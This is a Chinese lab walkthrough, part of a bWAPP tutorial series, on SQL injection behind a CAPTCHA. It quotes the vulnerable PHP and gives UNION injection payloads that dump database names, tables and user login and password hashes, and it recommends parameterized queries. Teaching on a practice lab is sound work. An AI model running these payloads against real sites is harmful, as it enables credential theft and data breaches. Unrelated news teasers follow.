零基础玩转bWAPP靶场(十八):SQL 注入(CAPTCHA)
摘要本文是 bWAPP 系列第十八篇聚焦于带 CAPTCHA验证码保护的 SQL 注入漏洞。这关有点意思——你想进搜索页面得先过验证码。但问题在于验证码只拦门不拦注入。文章会详细分析 CAPTCHA 验证机制、Session 会话控制以及为什么验证码能拦住机器人却拦不住 SQL 注入。同时带上 2024-2026 年真实的 CAPTCHA 绕过与 SQL 注入结合的案例。一、前言前面我们搞定了 GET 搜索、POST 搜索、下拉菜单、AJAX 注入……各种场景都见过了。今天这个关卡有点不一样——它前面挡了一道门验证码CAPTCHA。你点进这个关卡先看到的不是搜索框而是一个验证码页面。输入正确的验证码才能进到搜索页面。这关的设计很有意思验证码是来拦机器人的但它拦不住 SQL 注入。你只要手动输入一次正确的验证码进了搜索页面之后该注还是能注。就好比你家门口装了个门禁门禁确实挡住了外面的人但只要你开了门进去了你在屋里干坏事门禁管不着。二、CAPTCHA 是啥CAPTCHA 全称Completely Automated Public Turing test to tell Computers and Humans Apart全自动区分计算机和人类的图灵测试。说人话用来区分你是人还是机器的一段测试。最常见的形式就是歪歪扭扭的字母数字图片人眼能认出来机器识别困难。目的是防止机器人自动提交表单、撞库、刷票、发垃圾评论。bWAPP 这关的验证码就是一个简单的图片验证码显示在 iframe 里。三、源码分析这个关卡涉及两个文件manual_interv.php验证码入口和sqli_9.php搜索页面。3.1 验证码页面manual_interv.phpif(isset($_POST[form]) isset($_SESSION[captcha])) { if($_POST[captcha_user] $_SESSION[captcha]) { $_SESSION[manual_interv] 1; header(Location: sqli_9.php); exit; } else { $message font color\red\Incorrect CAPTCHA!/font; } }逻辑用户提交验证码把用户输入的captcha_user和 Session 里存的验证码$_SESSION[captcha]对比如果匹配设置$_SESSION[manual_interv] 1跳转到sqli_9.php如果不匹配报错“Incorrect CAPTCHA!”3.2 搜索页面sqli_9.php这个文件开头有一个拦截逻辑if(!(isset($_SESSION[manual_interv])) || $_SESSION[manual_interv] ! 1) { header(Location: manual_interv.php); exit; } else { // 真正的搜索功能 }逻辑检查 Session 里有没有manual_interv这个标记如果没有这个标记或者标记不等于 1强制跳回验证码页面只有manual_interv 1才能看到搜索框执行 SQL 查询搜索部分的 SQL 拼接if(isset($_GET[title])) { $title $_GET[title]; $sql SELECT * FROM movies WHERE title LIKE % . sqli($title) . %; $recordset mysql_query($sql, $link); // ... 显示结果 ... }三种安全级别用的函数级别函数效果Lowno_check()完全不过滤Mediumaddslashes()转义引号、反斜杠Highmysql_real_escape_string()MySQL 专用转义3.3 设计逻辑总结这套机制的设计意图是用户访问 sqli_9.php → 检查 Session → 没有标记 → 跳转到 manual_interv.php → 有标记且为 1 → 显示搜索页面一句话总结验证码是门禁Session 是通行证。你得过门禁拿到通行证才能进搜索页面。四、Low 安全级别4.1 第一步通过验证码进入manual_interv.php页面你会看到一张验证码图片和一个输入框。输入验证码切记验证码区分大小写点 Proceed。验证码正确页面跳转到sqli_9.php看到了搜索框。4.2 第二步判断是否存在注入在搜索框输入a% and 11 #页面显示所有电影。注入存在。4.3 第三步猜字段数order bya% order by 7 #正常。a% order by 8 #报错。结论列数为7。4.4 第四步确定显示位union selecta% union select 1,2,3,4,5,6,7 limit 9,1 #第 2、3 、4、5列位置显示数字说明这几个位置可用。4.5 第五步爆库、爆表、爆字段、爆数据爆库a% union select 1,database(),3,4,5,6,7 limit 9,1 #显示数据库名爆表a% union select 1,(select group_concat(table_name) from information_schema.tables where table_schemadatabase()),3,4,5,6,7 limit 9,1 #爆字段以users表为例a% union select 1,(select group_concat(column_name) from information_schema.columns where table_nameusers and table_schemadatabase()),3,4,5,6,7 limit 9,1 #爆数据a% union select 1,(select group_concat(login,-,password,-) from users),3,4,5,6,7 limit 9,1 #五、Medium 安全级别切到 Medium搜索框输入a% and 11 #页面显示“No movies were found!”注入失败。因为addslashes()转义了单引号。但是——如果 MySQL 字符集是 GBK宽字节注入可以绕过。bWAPP 默认是 UTF-8绕不过。六、High 安全级别切到 High同样操作a% and 11 #注入失败。mysql_real_escape_string()转义了特殊字符。但最佳方案还是参数化查询。七、关键问题这个 CAPTCHA 真的能防住攻击吗这关的设计意图是用验证码防止自动化的 SQL 注入攻击。但它存在一个致命缺陷验证码只检查一次。你只要手动输对一次验证码$_SESSION[manual_interv] 1这个标记就一直生效直到你点击“Done!”或者 Session 过期。这意味着攻击者手动过验证码一次然后写脚本自动发送注入请求到sqli_9.php无数次验证码再也拦不住用一个形象的比喻你家门禁确实能拦住外面的人但只要你帮别人开了门他就可以自由进出门禁再也拦不住他了。八、真实世界CAPTCHA 绕过 SQL 注入的组合攻击2024-2026 年CAPTCHA 绕过技术持续进化与 SQL 注入、撞库等攻击结合形成自动化攻击链CVE-2026-40839开源 CRM 系统 ESPO CRM 存在验证码绕过漏洞攻击者可结合 SQL 注入实现未授权数据窃取。CVE-2025-65807Gila CMS 评论验证码绕过漏洞攻击者可利用该漏洞进行 SQL 注入和 XSS 攻击。CVE-2025-0366WordPress 的 Captcha 插件存在验证码绕过漏洞CVSS 评分 8.1高危允许攻击者绕过验证码进行 SQL 注入等攻击。CVE-2025-5324某 CAPTCHA 生成器存在逻辑漏洞允许攻击者通过重放攻击绕过验证结合 SQL 注入漏洞窃取数据。CVE-2025-2671某 Web 应用防火墙的 CAPTCHA 实现存在绕过漏洞攻击者可通过修改 HTTP 头绕过验证进行 SQL 注入。启示CAPTCHA 只是增加攻击成本的辅助手段不是安全防护的核心防线。真正的 SQL 注入防御依然要靠参数化查询。九、总结本关卡核心原理可总结为验证码本质只是一次性访问门禁仅在入口处实现拦截一旦校验通过并在Session中标记放行后续页面不再重复校验这套流程本身不存在逻辑错误但仅能阻挡自动化脚本无法防御进入页面后发起的SQL注入攻击。成功突破验证码门槛后搜索功能的注入利用方式与普通SQL注入关卡完全一致。现实场景中大量验证码存在实现缺陷易被重放、绕过或识别攻击者可结合验证码突破手段与注入漏洞构建完整攻击链。由此可见验证码只能阻拦爬虫机器人无法防护SQL注入风险抵御注入攻击的根本方案依旧是采用参数化查询。重要声明本教程及文中所有操作仅限于合法授权的安全学习与研究。作者及发布平台不承担因不当使用本教程所引发的任何直接或间接法律责任。请务必遵守中华人民共和国网络安全相关法律法规。如果这篇文章帮你解决了实操上的困惑别忘记点击点赞、分享也可以留言告诉我你遇到的其它问题我会尽快回复。你的关注是我坚持原创和细节共享的力量来源谢谢大家。

相关新闻

140、NPU的仿真测试:使用MAESTRO进行数据重用分析

140、NPU的仿真测试:使用MAESTRO进行数据重用分析

140、NPU的仿真测试:使用MAESTRO进行数据重用分析 上周调试一块自研NPU的卷积加速器,跑ResNet-18第一层时发现DDR带宽利用率只有12%。盯着波形图看了三天,最后发现是数据重用策略没配好——每次从外部存储器拉数据都重复搬运了同一个输入特征图的同一行。这种问题在硬件流片…

2026/7/25 11:41:12阅读更多 →
GAN与扩散模型混合生成数据提升YOLOv8检测性能

GAN与扩散模型混合生成数据提升YOLOv8检测性能

1. 项目背景与核心价值在计算机视觉领域,目标检测模型的性能高度依赖于训练数据的质量和多样性。然而在实际工程中,我们常常面临标注数据不足、样本分布不均衡、罕见场景覆盖不全等数据瓶颈问题。传统的数据增强方法(如旋转、裁剪、色彩变换&…

2026/7/25 11:39:12阅读更多 →
AI短剧创作系统:从剧本到视频的全流程优化

AI短剧创作系统:从剧本到视频的全流程优化

1. 项目背景与核心价值 去年参与的一个短剧孵化项目让我深刻体会到传统创作流程的痛点:编剧团队平均花费3周打磨剧本,角色设计反复修改5-8版,最终成片周期往往超过两个月。直到我们引入AI辅助系统后,整个流程压缩到了72小时内完成…

2026/7/25 11:39:12阅读更多 →
Steam成就管理神器:SAM让你的游戏体验重新定义!

Steam成就管理神器:SAM让你的游戏体验重新定义!

Steam成就管理神器:SAM让你的游戏体验重新定义! 【免费下载链接】SteamAchievementManager A manager for game achievements in Steam. 项目地址: https://gitcode.com/gh_mirrors/st/SteamAchievementManager 你是否曾经为错过某个限时成就而遗…

2026/7/25 13:13:26阅读更多 →
Legacy-iOS-Kit:旧款iOS设备系统降级与越狱完整指南

Legacy-iOS-Kit:旧款iOS设备系统降级与越狱完整指南

Legacy-iOS-Kit:旧款iOS设备系统降级与越狱完整指南 【免费下载链接】Legacy-iOS-Kit An all-in-one tool to restore/downgrade, save SHSH blobs, jailbreak legacy iOS devices, and more 项目地址: https://gitcode.com/gh_mirrors/le/Legacy-iOS-Kit 你…

2026/7/25 13:13:26阅读更多 →
Godot UI状态管理实战:CheckBox与RadioButton核心原理与避坑指南

Godot UI状态管理实战:CheckBox与RadioButton核心原理与避坑指南

1. 项目概述:为什么界面状态管理是Godot开发者的必修课? 如果你正在用Godot做游戏或者工具,界面(UI)交互绝对是绕不开的一环。而复选框(CheckBox)和单选按钮(RadioButton&#xff09…

2026/7/25 13:13:26阅读更多 →
FRAM技术如何重塑嵌入式设计?MSP430FRxx超低功耗实战解析

FRAM技术如何重塑嵌入式设计?MSP430FRxx超低功耗实战解析

1. 项目概述:为什么FRAM是嵌入式设计的“游戏规则改变者”? 在嵌入式开发领域,尤其是电池供电的便携式设备中,我们每天都在和功耗、性能和成本这三个“魔鬼”做斗争。传统的基于闪存(Flash)的微控制器&…

2026/7/25 13:13:26阅读更多 →
Spring Boot与Vue3汽车租赁系统:从环境搭建到功能测试全流程指南

Spring Boot与Vue3汽车租赁系统:从环境搭建到功能测试全流程指南

这次我们来看一个基于 Spring Boot 和 Vue3 的汽车租赁管理系统。对于正在寻找毕业设计选题、学习前后端分离架构,或者想快速搭建一个具备完整业务流程的 Web 应用的同学来说,这是一个非常典型的实战项目。它不是一个概念原型,而是一个包含了…

2026/7/25 13:13:26阅读更多 →
2026出海服务商赛道测评:工厂老板别再只看单一营销服务商

2026出海服务商赛道测评:工厂老板别再只看单一营销服务商

去年接触一位东莞户外家具工厂负责人,踩了不小的出海弯路:只对接单一海外广告服务商投放推广,几十万营销投入过后订单增量微薄,海外分支机构本地人员流失严重,海外仓库存长期积压无人统筹。 复盘问题根源后不难发现&am…

2026/7/25 13:11:25阅读更多 →
Go语言静态资源打包方案对比与实践指南

Go语言静态资源打包方案对比与实践指南

1. 项目背景与核心需求在Go语言开发中,我们经常需要处理静态资源文件的打包问题。无论是Web应用的模板文件、前端资源,还是配置文件、证书等,都需要随程序一起分发。传统做法是将这些文件与编译后的二进制文件放在同一目录下,但这…

2026/7/25 1:01:14阅读更多 →
Go语言实现高性能LDAP认证服务的架构与实践

Go语言实现高性能LDAP认证服务的架构与实践

1. 项目背景与核心价值LDAP(轻量级目录访问协议)作为企业级身份认证的黄金标准,已经服务了超过80%的财富500强公司。我在金融科技领域实施统一认证体系时,发现传统Java方案存在启动慢、内存占用高等痛点。而Go语言凭借其协程并发模…

2026/7/25 1:01:14阅读更多 →
【AI面试官实战指南】:用ChatGPT模拟10类高频技术岗面试,3天提升应答精准度92%

【AI面试官实战指南】:用ChatGPT模拟10类高频技术岗面试,3天提升应答精准度92%

更多请点击: https://intelliparadigm.com 第一章:AI面试官实战指南的核心价值与适用场景 AI面试官并非替代人类HR的“黑箱工具”,而是以可解释、可审计、可迭代的方式,赋能招聘全链路的关键基础设施。其核心价值在于将主观经验沉…

2026/7/25 1:01:14阅读更多 →
突破文档下载限制:kill-doc让你看到的都能保存

突破文档下载限制:kill-doc让你看到的都能保存

突破文档下载限制:kill-doc让你看到的都能保存 【免费下载链接】kill-doc 看到经常有小伙伴们需要下载一些免费文档,但是相关网站浏览体验不好各种广告,各种登录验证,需要很多步骤才能下载文档,该脚本就是为了解决您的…

2026/7/25 0:01:16阅读更多 →
C++ string类模拟实现:从深拷贝到内存管理的完整指南

C++ string类模拟实现:从深拷贝到内存管理的完整指南

1. 项目概述:为什么我们要“手撕”string类?在C的学习道路上,尤其是从C语言过渡到C的“初阶”阶段,string类绝对是一个绕不开的核心。标准库里的std::string用起来太方便了,、find、substr,几个操作符和函数…

2026/7/25 0:01:16阅读更多 →
三角洲寻宝鼠工具:高效文件搜索与资源管理实战指南

三角洲寻宝鼠工具:高效文件搜索与资源管理实战指南

1. 先搞清楚“三角洲寻宝鼠”到底是什么工具从名称来看,“三角洲寻宝鼠”更像是一个资源查找或文件检索类工具,而不是游戏或娱乐软件。这类工具的核心价值在于帮助用户快速定位特定资源,比如文档、图片、压缩包或特定格式的文件。如果你经常需…

2026/7/25 0:01:16阅读更多 →
YOLOv8推理性能优化:从1.2FPS到35FPS的全链路加速实践

YOLOv8推理性能优化:从1.2FPS到35FPS的全链路加速实践

如果你在部署 YOLOv8 时,发现推理速度只有可怜的 1-2 FPS,而别人的演示视频却能跑到 30 FPS 以上,那么问题很可能不在模型本身,而在于你的整个处理链路。很多开发者拿到一个训练好的 YOLOv8 模型后,会直接使用官方示例…

2026/7/24 23:01:03阅读更多 →
Coze与Dify对比指南:低代码AI应用开发从入门到实战

Coze与Dify对比指南:低代码AI应用开发从入门到实战

1. 从零到一:为什么你需要了解 Coze 和 Dify?如果你对 AI 应用开发感兴趣,但一看到“大模型”、“智能体”、“工作流”这些词就头疼,觉得门槛太高,那这篇文章就是为你准备的。很多开发者,包括我自己&#…

2026/7/24 19:00:40阅读更多 →
AI生图工具怎么选?2026年6月版实测对比

AI生图工具怎么选?2026年6月版实测对比

做自媒体的朋友应该都有体会:配图一直是个让人头疼的问题。2026年,AI生图工具已经非常成熟了,但工具太多反而不知道怎么选。以下是截至2026年6月我对主流AI生图工具的实测对比。Midjourney V8.1:速度之王2026年6月11日&#xff0c…

2026/7/24 19:00:40阅读更多 →